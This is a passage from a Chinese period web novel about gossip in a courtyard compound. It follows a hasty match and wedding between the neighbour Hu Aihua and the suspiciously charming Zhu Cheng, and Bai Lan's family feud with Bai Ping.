所以，二姐跟曹昌盛在某种程度上也是立了功的。两人都在单位受到了表扬。大杂院甚至有人感叹，二姐在厂里打人，最后居然把间谍牵扯出来。也是够神奇的。 —— 第二天白兰到食堂上班，就看到食的大妈们十 分热闹地围在一起聊天。 看到白兰进来，有人招手就问白兰：“昨天听说那个胡寡妇亲自去男方家说亲，被人给拒绝呢？” 别看纺织厂那么多职工，但胡寡妇绝对是大家都认识的那一个。毕竟这人不止嘴碎还从厂里讹了不少钱。 白兰很想说是，但因为胡爱花跟大头都是无辜的。所以她笑笑没有回答这个问题。 大妈们见状很失望。等到秦婶子过来，立刻都围着她又问起这个事情。 秦婶子对胡家人可是深恶痛绝的。一听立刻点头：“可不是嘛！胡家那都是些什么人呢啊！人老宁一家都是本本分分的。被胡寡妇这一上门，吓得都快要把门锁上了。” 大家一听双眼放光，拉着秦婶子问了更多的细节。 也有人听说了那个媒人吴大姐的能耐，纷纷让秦婶子帮忙介绍。 白兰就在后厨那包包子，听着各种吴大姐的光辉事迹。今天给多少人牵线了，明天又让多少人脱单了。 总之，在秦婶子嘴里，这吴大姐就跟一个行走的月老那般。说一对成一对。听得白兰相当无语。 要真有这能耐，这什么吴大姐不就是神仙喽！ 偏其他人都挺相信的，纷纷说要去联系吴大姐。也给自家人说媒。 总之，听了一上午的各种说媒事情，白兰是一句话也不信的。结果，她下班回到家里一看，发现自己居然被打脸了。 因为，大杂院还真有人，通过这个吴大姐的介绍，相亲成功了！ 第57章 第57章坐火箭的速度 “这……这不是昨天才上宁家的门，说看中大头的才干，想要两家结亲。这才几个小时啊！怎么就跟其他人相亲成功了！” 没错，大杂院相亲成功的不是别人，正是胡爱花。 白兰惊讶地看向她妈，实在难以相信这个事情居然是真的。这到底是什么速度啊！昨天说亲不成功，今天立马就换了个对象，而且还相成功呢？真是坐火箭都没那么快的！明明昨天她看胡爱花那样儿，也不像是对大头一点意思都没有的样子啊！ 白妈妈见小闺女这副张大嘴巴的样子，好笑地伸手揉了揉她脑袋。怎么嫁人呢还是这么孩子气呢！ “是有点快！不过听说那对象条件不错。估计胡寡妇想要尽快把人给抓稳了吧！加上昨天大头那孩子那么不给面子，愣是在大伙儿面前拒绝。估摸着胡寡妇也觉得面子上过不去。” 听着是这么个理儿。但白兰看着院子里红火满面到处乱窜的胡寡妇。还是觉得这个事儿太玄幻了些！ 这都不到24小时呢！ “不过，怎么没看到胡爱花啊！” 院子里，除了胡寡妇外，罕见的高青青也在跟其他人说话。就连胡爱民也是一副高兴的模样。正跟大杂院几个大爷、老叔抽烟呢！ 反正，一家子看着就跟中了大奖没差了。 “说是下午去相亲的。相成了就跟男方在外面吃饭。还别说，那个什么吴大姐的，也是有两把刷子。” 耳边听着亲妈说着吴大姐这个媒人，白兰真是开始有点佩服这些人了。 —— 就在她准备去院子里听听大妈们的聊天时，就看到一男一女从外头走了进来。 女的自然是大家口中的胡爱花。男的是个陌生人，看着二十多的样子。不高不矮，穿着一身干部装。长得白净，很像南方人。 “哎哟，小祝啊！辛苦你送我家爱花回来了。你们这是饭都吃完了对吧！吃了什么啊。还要再吃一点不！” 叫小祝的男人温和笑笑：“伯母，不用了。我跟胡同志都吃饱了。这是我特意给你带的吃食。” 说着，就把手里提着的一个铝制饭盒递了过去。 胡寡妇见状双眼放光，接过饭盒打开，一股肉香味飘散出来。 边上不少看热闹的邻居见状，纷纷发出哇哦的惊叹声。显然是被这一饭盒的红烧肉给惊讶到了。 随即，就有人夸胡寡妇好运气。居然给自家闺女找到这么个好对象。也有人围着那小祝，打听他的来头。 那小祝也没不耐烦，十分客气地回答着各种问题。有些不方便说的就不说。方便说的就好脾气地说出来。 白妈妈特意拉着白兰站在门口看热闹。见到这个情况，忍不住感叹：“这小伙子看着脾气真不错啊！” 白兰也觉得脾气是真不错。但这人也太好了吧！不说对胡寡妇，就是对邻居们态度都那么好。让人觉得有点不真实。 她把注意力看向胡爱花那边。发现对方并不像胡寡妇那样高兴。 好在这个叫小祝的男人好像挺忙的。跟邻居们客套了一小会儿，抬手看了看手表就跟大伙儿礼貌告辞了。 就连道别的话都说得彬彬有礼，让不少人对他竖起了大拇指。 这些人中自然包括了胡寡妇。 见小祝一走，胡寡妇又打开了那一盒红烧肉，大力地闻了一口肉味。接着高昂着脑袋，露出一脸迷醉的表情来。 那嘚瑟样，终于有人看不过眼。 “哎哟，不就是一盒红烧肉吗？用得着那样显摆！这小祝也不是你找来的。那什么吴大姐，真这么靠谱，给你家爱花介绍那样好的对象啊！” 万大妈开口就是质疑。让胡寡妇不爽起来。 “哎哟，你这是见不得我家好是不是！我家爱花多好的闺女啊！刚满18岁，花骨朵的年纪，就是回收站的正式工人。配小祝一个旧货市场的售货员，哪里配不上！” 见这两人好像要吵起来，秦婶子立马打圆场。 虽然她因为高青青的事情，对胡寡妇特别看不上眼。但媒人吴大姐可是她带回来的。所以，这会儿听到有人质疑。秦婶子忍不住开口说上两句话。 当然，说话的时候，秦婶子的心情是酸溜溜的。 也不知道这吴大姐怎么搞的。明明是自己带她回来的。结果也没给她闺女儿子介绍对象。反倒是给胡爱花先后介绍了两个对象。 前一个对象大头就算了，但后一个对象祝城，听着条件就挺不错的。她家艳子比胡爱花条件要好不少呢！ 白兰听出了秦婶子口气中的酸气，瞬间为秦艳感到庆幸。 因为她觉得秦艳不会喜欢小祝这样性格的人！ 就院子这样乱糟糟的时候，白兰看到自家哥哥朝这边走了过来。她惊讶地问道：“哥，你今天没加班啊！” 这个点已经接近下午六点了。白兰是早下班的人，所以下班后就来家里这边呆着。等许建北下班回来，一起在婆家或者娘家吃个饭。然后夫妻两再步行回螺丝厂。 像她这位认回来的亲大哥白保卫，则是一位醉心于工作的人。平时白兰也就周末放假能多见到对方。工作日两人的时间很多是岔开的。 白保卫喊了声妈，然后才跟白兰说：“今天有点工作上的事情，想找建北聊聊。所以就提前下班了。” 一听这个，白兰就没什么兴趣了。 因为许建北跟她哥两人凑一块，话题永远就是各种螺丝尺寸，各种机床技术。这些都是白兰没兴趣也听不懂的。 但白兰看出白保卫还有话没说完。于是直接问：“哥，还有其他事情吗？” 白妈妈也是第一次见到儿子一副欲言又止的模样。好笑地拍了拍这小子的肩膀：“有什么事情说说看。” 白保卫见状也没磨叽，小声说道：“刚刚那个小祝我认识。” 白兰惊讶地看向白保卫，心想她哥从海城来到北城后，活动区域也就纺织厂。所以，这人应该是在海城认识的。 “他叫祝城，是方保国媳妇的大哥的儿子。” 这关系有点拗口，方保国这名字有点熟悉。白兰愣了愣，随即反应了过来。心想这个世界真小啊！ 方保国是白保卫还是方保卫时的便宜大哥。这人白兰记得对白保卫的态度不怎么好。 自从离开方家回到白家后，白保卫就没跟海城那边有牵扯。除了方 厂长这个养父，时不时会跟白保卫联系。这种父子亲情，他们家没人觉得有问题。 人家方厂长都养了白保卫二十年了。当年换孩子的事情也不知晓。而且知道后也一直在给白保卫的工作铺路。所以，白家人不会拒绝这样对儿子有好处的人。 但方保国真是没再打交道。 白兰更是记得在海城时，白保卫带着她跟许建北逛旧货商店时，碰到过方保国的媳妇。对方用一个弄坏的破花瓶，想要讹白保卫的。 这样的人，亲弟弟居然也是干旧货商店的。而且还在北城工作，还跟胡寡妇的闺女相亲。 这怎么能不让人惊讶这个世界太小了！ 白保卫也觉得很神奇：“祝城之前在海城的供销公司工作。没想到居然会跑到北城来工作。而且调到旧货商店。” “反正以后碰到就当不认识好了。” 方家大房对白保卫有敌意。虽然白保卫已经不是方家人了。但还是得防着点。 白保卫点头：“我跟他也没什么交情。不过他是认得我的。” 这话的意思白兰懂。但白兰觉得自家跟胡寡妇也没啥关系。方大嫂犯不着为了白保卫，把自家大哥的儿子弄过来，特意跟胡爱花相亲。这中间没多少因果关系。 所以，白兰说道：“反正以后当不认识就好了。胡家的事情，咱也不掺和。” 她哥有爸妈有姐妹，还有厂里分的一间耳房住。又有技术人又长得帅。以后前途光明得很。 白保卫也是想跟家里提个醒儿。说了之后就不管这个事儿了。等许建北下班回来，乐呵呵就把人拉着，饭桌上直接就说起各种技术上的事儿。 反正听得桌上其他人云里雾里的。 白爸爸乐呵呵地看着这一幕，直接拉着女儿问起她工作的事情。 “我就是个包包子的，有啥工作问题啊！” 是的，白兰工作大半年了，还是在食堂包包子，搓馒头。说是白案师傅，但工人食堂也不用多高深的手艺。 “年底有个厨师评级考试，你要是觉得自己水平可以，就去报名看看。” 这年代的厨师级别没有其他技术工种定级别定的那么详细。但也是有级别有考试的。考过了，就有职称，会提高工作定级跟基本工资。 听到能考级，白兰就高兴。反正今年也没啥大目标。赚钱高考什么的，还有一年多呢！ “行，到时候爸你提醒我。” 白爸爸：“你们食堂大师傅应该也会通知你们的。不过时间还早呢。低级厨师不难，爸对你有信心。” 白家这边其乐融融，本应该高兴激动的胡家，却并不是大伙儿预料的那样兴高采烈。 —— 胡家紧闭的屋门，胡爱花正跟她妈说着今天相亲的事情。 “妈，我不想跟这个祝同志谈对象。” 胡寡妇正往胡爱民碗里夹香喷喷的红烧肉呢。听到这话，筷子立马就拍到桌上，发出砰一声脆响。 “为什么？这小祝工作好，人才好。你吴婶子可是精挑细选才给选出来的。” 为了这么一个优质对象，胡寡妇私下里可是给吴大姐塞了两块钱的介绍费！成了的话，后面还有十块钱的辛苦费。 祝城可都是胡寡妇瞒着其他人，私底下找吴大姐插队才得来的。 多亏了这么一个好对象，刚刚宁家那木头人，看到自己都不敢说话了。就是隔壁万大妈那老婆子，也是嫉妒得快要发狂。那些邻居更是一个个都对小祝印象特好，特别羡慕自己。 所以，胡寡妇一听闺女不乐意，觉得十分气愤。 这样花了大价钱才得来的好对象，爱花这闺女居然不珍惜！ “不知道，我就是不想跟他谈对象！”胡爱花还是继续拒绝。 胡寡妇想要继续劝说，但胡爱民已经不耐烦了。他直接把一盘红烧肉端起来，用筷子往自己的碗里倒。口中却没闲着：“就你这豆芽样儿，还好意思挑挑拣拣。能找到小祝这样的人，你就走了狗屎运！” 胡寡妇附和：“就是啊！爱花，咱家的情况你也看到了。这小祝的条件可比前院那宁大头要好不少。你嫁给他，说不定以后能去海城生活呢！海城你是知道的，那里的东西可好看可多呢！” 就连不怎么说话的高青青，也是点头附和。心里更是觉得胡爱花好命不懂珍惜。 当年她要是能跟小祝这样的男人相亲，那真是八辈子才修来的福气。可惜，自己倒了八辈子的霉，被逼着嫁给了胡爱民这样的孬种。 “反正我不想跟他谈对象。”胡爱花不是个容易妥协的。见家人轮番这样说，更是不愿意了。反正，她就不喜欢这个样子的男人。 胡寡妇见状，脸都拉了下来。但她是胡爱花的亲妈，知道这闺女只能顺毛捋。于是，开始了各种虎口婆心…… 胡家的事儿被竖起耳朵贴在墙上的万大妈听了个正着。两家就隔着一道墙，今天万大妈又被胡寡妇落了面子。一听胡爱花不想跟那个小祝谈对象。立马开门就往外头跑，准备把这个消息传得人尽皆知。好让胡寡妇不能再嘚瑟。 第58章 第58章中央空调 “真没想到，就吃个饭的功夫，胡家又有事情闹了出来。” 晚风徐徐，白兰跟许建北走在回螺丝厂的路上，忍不住感慨走之前还能吃到瓜。他们不过是吃一顿晚饭的功夫，万大妈已经把胡爱花不想跟那小祝谈对象的事情，传得人尽皆知。 这种情报传递能力，白兰觉得当个普通大妈太亏了。万大妈就是去当个职业狗仔，也一定能混出名堂来。 许建北听出了白兰语气中的调侃，乐得说道：“我这边工作忙得差不多了。接下来不用怎么加班。咱要不这周末搬回大杂院？” 这话白兰爱听：“好好。这样的话，以后有啥新消息，咱也能第一时间知道了。” 能走在吃瓜的第一前线，肯定是最好不过的。之前一直没搬回来，除了许建北工作忙，就是许建东跟苏小妹的事儿了。 但事情已经过去快一个月了，什么疙瘩也都没了。也是时候搬回大杂院。 夫妻两的这个小插曲没人知道。反正从第二天开始，大杂院就时不时上演各种戏码。大部分时候就是胡寡妇一家三口对着胡爱花虎口婆心一通劝。这样的努力也是有成果的。 反正等到周末白兰他们搬回大杂院的时候，就听说胡爱花终于松口，答应跟祝城好好谈对象了。 —— “哎哟，你是不知道。那个祝同志可真是个好男人。天天往回收站跑，请胡爱花上国营饭店吃饭，去看电影压马路。” 许建北的屋子里，白兰正在整理搬回来的东西。秦艳靠在门口跟白兰说着这几天的热闹。 “反正我是没见过这样耐心的男同志。咱大杂院不少人暗地里都羡慕胡爱花呢！那吴大姐这段时间，据说家门槛都快要被人给踩烂了！” 越说越夸张，白兰直接笑了出来。心想这时候的人还是太淳朴。这点小手段就让大家都侧目。不过如果那祝城是这样诚心，估计胡爱花的妥协，应该多少有些心动。 “秦婶子是不是更加着急了。” 一听白兰提这个，秦艳就不高兴了。 “哎，我妈现在不是去找那吴大姐，就是跟万大妈混一起，两个人一起蛐蛐胡寡妇。” 说起这个，秦艳就真有点无奈了。她妈也不知道怎么想的。明明之前主要是想给她哥找对象来着。怎么一转头因为胡爱花找了个好对象。她妈就不服气，愣是把重心放到自己这里来。 秦艳的唉声叹气，白兰是真没办法解决。别说这年头了，就是后世也有不少催婚的事儿。她转移话题继续跟秦艳聊起回收站的事儿。 两人正说着话呢，就看到许建北跟大头走了进来。 “怎样？找到没？” 许建北摇头：“我们过去的时候，炉子早被分完了。” 他们之前搬去螺丝厂的楼里居住时，天气还挺冷的。就把屋里的炉子搬了过去。这次搬回来，炉子太重了。白兰就准备不搬了，家里这边再买一个。 刚好秦艳说回收站昨天来了好几个铁皮炉子。不是什么好东西，但挺结实的。白兰一听就让许建北过去买了。 没想到还是没赶上。 “算了，去供销社买个新的也成。”屋里没个炉子，烧水也不方便。总是去厨房不方便。 大头立马说 道：“北哥，那咱现在就去买炉子吧！索性今天放假有空。” 白兰见他一副生龙活虎的样子，就知道他跟他妈的矛盾解决了。这是一件好事。她看了看东西也差不多收拾妥当了。索性说道：“干脆我们一起去买。家里还缺点东西，正好一起买。” 他们这一片胡同是有一家供销社的。里头卖的东西没有百货商店那么齐全高档。但已经足够满足普通生活了。 一听要去逛供销社，秦艳终于高兴了起来。 这样子看得白兰直摇头，心想秦婶子这拼命给秦艳找对象，肯定给这妮子太大的压力了。 这样想着，白兰隐晦地看了大头一眼。见这小子还是一副傻乐呵的模样，不由直叹气。 这两人一个没开窍，一个根本不敢表白。 锁上门，四人直接往外头走。 周末胡同人不少，除了到处跑的孩子，还有各种走街串巷聊八卦的大妈婶子小媳妇。更有一些爱听八卦的男人，也凑一堆说些家长里短。 白兰挺喜欢这样的氛围，边走边竖起耳朵听这些。 许建北见状，嘴角的笑容止也止不住。他是看明白了，白兰不爱住筒子楼。除了面积小，还有一个就是筒子楼少了胡同这种热闹氛围。 不过家里那半拉房子还是太小了些。许建北心里盘算着多存点钱，之后看看能不能在附近买个大一点的房子。 白兰不知道许建北已经在考虑房子的事情了。这会儿他们已经走到了回收站这条街上。再往前走大概两百米就是供销社了。 不过还没到回收站门口，白兰再次看到了白苹。上周才见对方来了趟回收站，这周又跑了过来。 白兰忍不住怀疑这里是不是有什么好东西。但是，那个本子里面并没有记载回收站还有啥好东西。 这让白兰十分疑惑。 但马上，她就看到那个叫祝城的男同志，骑着自行车，载着胡爱花也在回收站门口停住了。紧接着，就看到祝城居然在跟白苹说话。而胡爱花居然一副习以为常的模样。 白兰立刻意识到，白苹跟祝城，以及祝城背后的方保国夫妻两，估计多少有些交情了。 果然，等再走近一点就听到这两人说话熟稔，显然是认识的。 见到白兰他们四人过来，白苹跟祝城立刻不说话。 白兰见状见状挑眉，心想这两人也是怪模怪样的。 胡爱花倒是跟白兰打了个招呼。白兰笑笑，拉着大家继续走。白苹跟那个祝城不理会他们。自然他们也把这两人当透明的。 —— “真是让人讨厌。” 看到白兰他们四人离开，白苹忍不住骂了一声。 祝城无奈道：“你跟他们又没有关系，没必要再去想他们的事情。” “祝哥，你是不知道……” 祝城再次摇头：“我来北城工作，方伯伯让我多看着你一点。你也别再跟他们纠缠了。宋家的条件不错了，方伯伯每个月还给你打钱。” 还没走远，所以这两人的对话就被白兰他们听了个正着。 秦艳忍不住感叹：“你听听这祝同志，是不是说话特别讲道理。” 大头不乐意了，撇撇嘴：“什么讲道理。白苹跟白兰家又没关系。不纠缠上来才是正常的。” 秦艳一听直接又反驳了回去：“要不是人家讲道理，怎么会让白苹不要缠着兰兰……” 这么简单的事儿，这两人都能互相怼起来。让白兰觉得有点好笑。她跟许建北对视一眼，两人都觉得这两人太逗了。当然，白苹要是听劝不搞事情。他们也不会去找她的不痛快。 等四人去了趟供销社，买了一堆东西回来。白苹早就走了。不过回到院子，就看到祝城居然在跟胡寡妇说话。胡爱花则是在边上听着。 旁人一看，都要以为祝城是胡寡妇的亲儿子了。那亲切劲儿，真是…… 不少看不惯胡寡妇的人，在祝城来了后，都没有阴阳怪气。只是聚在一起，小声嘀咕起来。 白兰看到院子这个氛围，拉着许建北就说：“你看看这人多大的魅力啊！” 许建北好笑摇头：“但是我觉得我比他要优秀！” 白兰挑眉：“确实。你是最优秀的。”不优秀，白兰还看看不上呢！至于祝城，瞧着是挺好的。但人人都说好，就不一定真的好。 反正这种到处散发魅力的中央空调，白兰敬谢不敏。 不过，就在白兰腹诽的时候。祝城直接就朝白家走了过去。胡寡妇走在边上。一看就是要去自家说什么的样子。 第59章 第59章秦艳的烦恼 “他这是想干嘛？”白兰看着已经走到自家妈跟前的祝城，眉头紧皱。 许建北摇头：“要不我们过去看看？” 白兰一听，拉着许建北就往家里走。院子里的邻居们早在祝城动作后，也好奇地看了过来。 被这么多人盯着，祝城却相当淡定。 “伯母你好。我大姐是白苹哥哥的媳妇。” 这关系够拗口的，白妈妈听完还愣了愣。特别是白苹这个名字，让白妈妈的情绪多少起伏了起来。毕竟，那可是自己养了二十年，疼了二十年的闺女。不过，她知道好歹。白苹在做了那么多伤害家人的事情后，白妈妈就知道要克制住这种情感了。 所以，虽然祝城的话让白妈妈惊讶。但她还是努力冷静地问：“请问你说这些，是想做什么？” 同样的话从白兰口中说了出来。 祝城一点都不惊讶，跟白妈妈礼貌点头后，转头看向赶上来的白兰：“白兰同志你好。我其实也不想怎样。只是咱两家多少有些沾亲带故。上一辈的恩怨，已经无法挽回。白苹的话，我姑跟姑父都认这个妹子。所以，我就想着过来跟你们说说。看看能不能缓和双方之间的误会。” 这话说得，不止白兰，就是那些看热闹的邻居们都愣了。他们怎么都没想到，祝城是这么一个来头。而且还跟白苹扯上关系。当下，就有人去问胡寡妇到底知不知道祝城的来头。 胡寡妇理直气壮：“知道啊！怎么不知道！这是什么问题吗？不就是亲戚吗？白苹也没做什么事情吧！当年在医院换孩子的人又不是白苹自己。” 这话说得，再次让大伙儿都无语了。 而白兰懒得理会胡寡妇这样胡搅蛮缠的人。直接对祝城道：“是方保国夫妻让你来当说客的。还是白苹？” 祝城见白兰说话那么直接，一向很好的口才顿时卡主了。 但白兰并没有放过他：“你要是代表方保国夫妻来的话，可以明确跟你说，我们家不可能跟白苹和好。如果你是代表白苹来的话，那更加不可能了。虽然你是胡寡妇的未来女婿。但是我们家跟你没什么关系。以后没事，请离我们家远一点。” “哎哟，白兰。你这人怎么这样冷酷无情……” 胡寡妇听到白兰这样说话，立刻不客气地质问起来。 白兰却懒得理会对方，只眼神凌厉地盯着祝城，一字一句道：“清楚了吗？” 祝城见她这样油盐不进，最终摇头失笑。然后说道：“那这次是我唐突了。真是不好意思，打扰了。” 接着，彬彬有礼地朝白妈妈鞠躬道歉。然后转身走到胡寡妇跟前，轻声说了几句。然后十分有礼貌地朝大杂院其他邻居各自点头。再从容不迫地离开了大杂院。 这样的装腔作势，居然让不少邻居都暗暗点头。大伙儿都夸这小伙子十分有素质。 反 倒是衬得白兰好像无理取闹似的。 白兰见状，深吸一口气。心想这种装模作样的人，真是让人想给他来两脚。 许建北上前按了按白兰的肩膀：“这人不知道什么目的。不必跟他生气。” 白兰摇头：“生气倒是不会很生气。但这种人真有点让人恶心。” 而且，原剧的剪辑中，根本没有这个人的出现。也不知道发生了什么事情，让方家的亲戚往北城跑。 至于离开大杂院的祝城，表情一直没怎么变化。反而是相当淡定地给白苹打了个电话。 “不好意思，事儿还真办不成。” 电话那头的白苹一听撇撇嘴：“算了，不着急。慢慢来。” 反正她也不会把希望寄托给这个忽然冒出来的男人。说是她那便宜大哥媳妇的外甥。这种外八/路的亲戚，要不是最近自己真找不到帮手，她还真不稀罕跟对方往来。 —— 还在大杂院的白兰，并不知道祝城跟白苹在谋划什么。把人怼了一遍后，她看了看时间，想着干脆回屋里收拾东西。刚买了些东西还没收拾呢。 大杂院的邻居们也没凑上去找不痛快。都知道白兰跟白苹十分不对付。所以，大伙儿都围着胡寡妇，继续打听这个祝城到底是个什么来头。 白兰没有参与进去，跟许建北回家收拾东西了。 不过收拾东西的间隙，白兰还是忍不住一遍一遍回忆当初看过的短剧剪辑内容。可惜，视频太短了，很多内容还都是跟女主柳美玲有关的。 这就让白兰不能得到更多有效的信息了。 这个纠结让她等到晚上在水槽边偶遇胡爱花的时候，终于忍不住好心地提醒道：“那个祝城我不清楚他到底是什么来头。但他这种左右逢源的家伙，看着不怎么靠谱。” 胡爱花也在水槽边洗衣服，听到白兰的话住手了。 白兰见状继续道：“听万大妈说，你之前是不想跟祝城在一起的。所以，其实你应该多相信自己的第一反应。” 胡爱花：“我一开始见到他，对他印象也挺一般的。但是，他这人真的很不错。你没有跟他相处不知道。所以，谢谢你的提醒。但我知道自己想要什么。” 虽然跟胡爱花交集特别少，但白兰知道对方不是个傻的。既然都这样说了，她就尊重他人命运了。 回到家里，见许建北看过来，她忍不住苦笑摇头：“想做个好人，好像也不容易啊！” 许建北知道她的意思，把人揽在怀里：“反正你做了自己想做的。其他事情就交给命运来安排吧！” 是啊！谁也不能阻挡旁人的命运。 白兰也不是个纠结的。很快就把这点不愉快抛到脑后，反倒是跟许建北说着接下来入夏的一些安排。 —— 本以为祝城经过昨天的事情，可能最近这两天都不会再来大杂院。哪知道这人的心理素质相当强悍。第二天若无其事地继续往来大杂院，接送胡爱花上下班。 之前有些人觉得他跟白苹有亲戚关系，而觉得这人不太好的。现在看到对方这动作，又立马对祝城改观了。 特别是在他这种风雨无阻接送的行为，持续了整整一个月后。不止大杂院，就是附近的胡同邻居们，都知道有这么一个绝世好男人的存在了。 也就是在这时候，胡家就爆出胡爱花将要跟祝城结婚的消息。 白兰听到后惊讶道：“这两人满打满算，认识也不超过两个月吧！” 白妈妈跟白兰分享了这个消息。现在见小闺女这样惊讶，好笑道：“现在好多都这速度。据说，胡寡妇怕这么好的女婿被人挖墙脚。” 白兰撇嘴，心想这是啥好东西不成。 不过，她再不屑，胡家人还是把祝城当宝。在听说来两家准备结婚后的第二天。秦艳就跑到白兰跟前，说胡爱花已经跟单位开好介绍信。明天一早就跟祝城去打结婚证。 整个过程听着相当丝滑。白兰已经不知道该说什么好了。 这速度也是没谁的呢！ “反正他们家结婚要是邀请我们家，我们全家都不会去。” 秦艳小嘴叭叭说着胡爱花跟祝城的事情。顺道吐槽：“我妈都要疯了。觉得自己的脸面都被胡寡妇踩下去。最近快要把我给逼疯了。” 这话白兰认同。因为秦婶子好像真要跟胡寡妇比一比。在过去的这一个月里，不止让那个媒人吴大姐给秦艳介绍了五个对象。还在纺织厂大食堂那，让里头工作的人都给秦艳介绍对象。 弄得秦艳好像嫁不出去一般。 “反正我现在脸也没了。纺织厂跟咱这一片胡同，哪个不知道我秦艳嫁不出去，是个没人要的闺女。” 每次想想她妈拼命想把自己嫁出去，嫁得比胡爱花更好，秦艳就相当无语。 这种攀比心态，白兰也清楚。所以，秦艳现在的处境，也真是让人同情。 望着一脸生无可恋的秦艳，白兰想了想，最终开口：“你相亲没相到合适的。有没有考虑过身边的人？” 这话一出，秦艳愣了愣：“身边的人？谁啊！” 白兰深吸一口气，还是把自己一直想说的话说了出来：“大头啊！” “大头？”秦艳一副见鬼的模样从座位跳了起来。 “怎么可能！他……”话还没说完，秦艳已经在站起来开始来回踱步。口中喃喃说道：“怎么可能！怎么可能！” 这反应让白兰有点惊讶了。她以为自己说出来，最多是让秦艳不高兴的。怎么这会儿看着，反倒是有点纠结的样子。总不能秦艳也喜欢大头吧！她可没看出来秦艳对大头有什么男女方面的感情！ 第60章 第60章孝顺的大头 那天的谈话，最终并没有任何结果。反正白兰到头来也不知道秦艳的真实想法。只隐约觉得秦艳好像特别震惊大头对她不是单纯的友谊。 白兰见状，就歇了继续探究的心思。左右这都是个人的感情问题，旁人不好多插手。 除此之外，大杂院最热闹的事情还是胡爱花跟祝城结婚这个事情。 这两人打了结婚证后，选了一个周末，将会举办一个简单的结婚仪式。 白兰作为邻居，即使不想参与进来，也在祝家人上门迎亲的时候，被动看了一场简单的迎亲过程。 来接亲的人都是祝城的朋友跟家人。其中，方保国的媳妇，也就是祝城的姑姑第一次出现在大杂院。 她哥白保卫当时在场跟对方碰面后，那气氛，白兰都不知道该怎么形容。 总之，一个是满眼厌恶，一个是视若枉无。 “哥，以后离这家人远点儿。” 看着热热闹闹的胡家，白兰跟她哥白保卫说道。 白保卫点头，说实在话，到现在他也不知道为什么方保国夫妻两，对自己的敌意会那么大。而这两人之中，方大嫂对他的敌意更大。以前他是方家二儿子还好说。但现在他已经姓白了。方家的东西以后也跟他没关系。 所以，方大嫂刚进门时的眼神，让白保卫相当无语。 白兰也是同样的想法。觉得这方大嫂真是莫名其妙。 就在兄妹俩小声商量的时候，一个熟人大喇喇地走了进来。 立刻，就有邻居吆喝起来：“白苹，你这是来参加胡家的喜事啊？” 白苹对着大家，露出一个十分友好的笑容：“可不是嘛！祝城可是我大嫂的外甥……哎，我不跟你们说了，我大嫂来了。” 说着，白苹迎上了方大嫂，两人凑一块说话。那动作那神情，相当亲热。看得白兰直皱眉。 “哥，你知道她们两什么时候关系这样好吗？” 白保卫同样盯着这两人，听到白兰的问题摇头：“不知道，我找之前厂里的人问过。都说最近这段时间，我那个前大嫂经常接到来自北城的电话。” 这话一出，白兰瞬间意识到。这来自北城的电话，莫不是白苹打过去的？或者，只是祝城打的。但是，祝城一个外甥，也不可能经常给个姑姑打电话啊！ 所以，白兰还是倾向于这些来自北城的电话中，有一部分是白苹打的。 那么，这两人到底因为什么凑一块？除了利益，就没有别的了。只是到底是什么样的利益？白兰第一次陷入了沉思。 另一头，白苹已经跟方大嫂叙旧完。朝白兰跟白保卫兄妹两看了一眼。随即就走到胡寡妇那边，一副男方家人的口吻，跟胡寡妇聊了几句。 胡寡妇也是个能人，全程笑眯眯地跟白苹说话。一点儿都看不出当年她也有份到处传白苹的那些奇葩事。 不过今天的主角不是白苹。大伙儿的注意力很快就放到祝城身上。因为他拿了一大包喜糖出来，开始挨个儿给孩子们发喜糖啦。 不过，这个环节，白大姐家的两个娃儿没有参与。都说了要当陌生人，所以祝城的任何事情，白家人都不想 沾边。但这人就是摆出一副很会做人的架势。笑眯眯地让胡寡妇送喜糖给白家。 不过白家没人接过。胡寡妇也不想耽搁，麻溜儿让大家帮忙，把新人送出门。 “你们家这样，怕到时候胡寡妇会到处败坏你们家的名声。” 万大妈不知道从哪里窜了出来，一副过来人的口吻跟白兰说道。 白兰：“随便她。反正也不靠她吃，不靠她穿。” 万大妈：“要我就接过来。有好处就沾，反正又不用跟胡寡妇当朋友。” 白兰听着她的神逻辑，忽然觉得大杂院的大妈也是卧虎藏龙。 不过，胡爱花这一出嫁，除了给大家看了一场热闹外。带来的最大影响，就是再次在胡同掀起了一场相亲风潮。 接下来一个月，白兰每天都能听说谁谁相亲，谁谁相亲失败，谁谁相亲成功。总之，真是各种热闹看个没完。让她不由感慨，搬回大杂院也是有好处的。最起码每天她都能听到新鲜的相亲故事。 相较于白兰这种已婚人士看热闹的态度，大杂院那些未婚男女的父母就着急喽。 儿女都不着急找对象，但是这当爹妈的，真是比热锅上的蚂蚁还要夸张。 就连白兰这样刚结婚的小媳妇，都有人托上门来帮忙介绍对象。 白兰忍不住跟许建北吐槽：“我哪里像是认识很多单身男女的。” 许建北同样无奈：“别说了，就连我都有人来托了。” 白兰惊讶：“让你介绍谁啊！” 许建北：“曹昌盛啊！他还单着呢！” 白兰一想也是哦。相较于大头这样的差条件，曹昌盛那简直就是高富帅了。爹妈都是高级研究员，又不跟他住一起。独生子，单位分了筒子楼。大小又是个小领导，还是万人大厂的小领导。这样的香饽饽被人盯上太正常了。 “总之，我发现这找对象也攀比起来了。” 夫妻两人互相吐槽完，就收拾起手里的包裹。 包裹是二哥许建西从岛上寄过来的。自从处理完间谍案后，许二哥就独自回到了岛上。到了那边，时不时就给家里寄东西，不然就写个信什么的。这样的状态，对比起以前七年的没有联系，简直要好得不行。 许家老两口因为这些，天天都乐呵呵的。就是有不靠谱的人凑过来说给许建东找对象。他们也没有生气了。 包裹依然是以海货为准，各种咸鱼干、虾干、海菜都有。家里人都爱吃这个，白兰他们在许家也没分开吃。所以东西整理完后就都塞到柜子里面。 估计是这些海味特别浓郁，不少邻居都走过来说话。因为东西不多，白兰没有跟上次那样分给大家尝味道。只跟这些邻居聊了聊闲话。等把东西收拾完后，就直接进了柜子上锁了。 见没有便宜可以沾，围过来的人又渐渐散去了。 “好像听到有人说我们抠门。” 白兰笑着用肩膀顶了顶许建北。许建北无奈摊手：“随便吧！这些都是二哥好不容易寄过来的。我还真舍不得分出去。” 夫妻两人说说笑笑，准备进屋。就听到大头隔着院墙的声音。 白兰还没反应过来，许建北已经听到大头跑过来的脚步声。 “北哥……” 大头鬼鬼祟祟拿着个小布兜跑了过来。那样子跟做贼没差了。 “你干啥呢！”许建北无语地问道。 大头：“听说许二哥寄了海货过来。这不是想着……”话没说完，大头自己都有点不好意思了。 白兰：“是要换海货给你爸吃？” 大头一听连连点头。他也知道人家这东西珍贵。但是他爸就真好这一口。过年那会儿许二哥回来，白兰带了些海菜上门。他爸吃了胃口大开，赞不绝口。 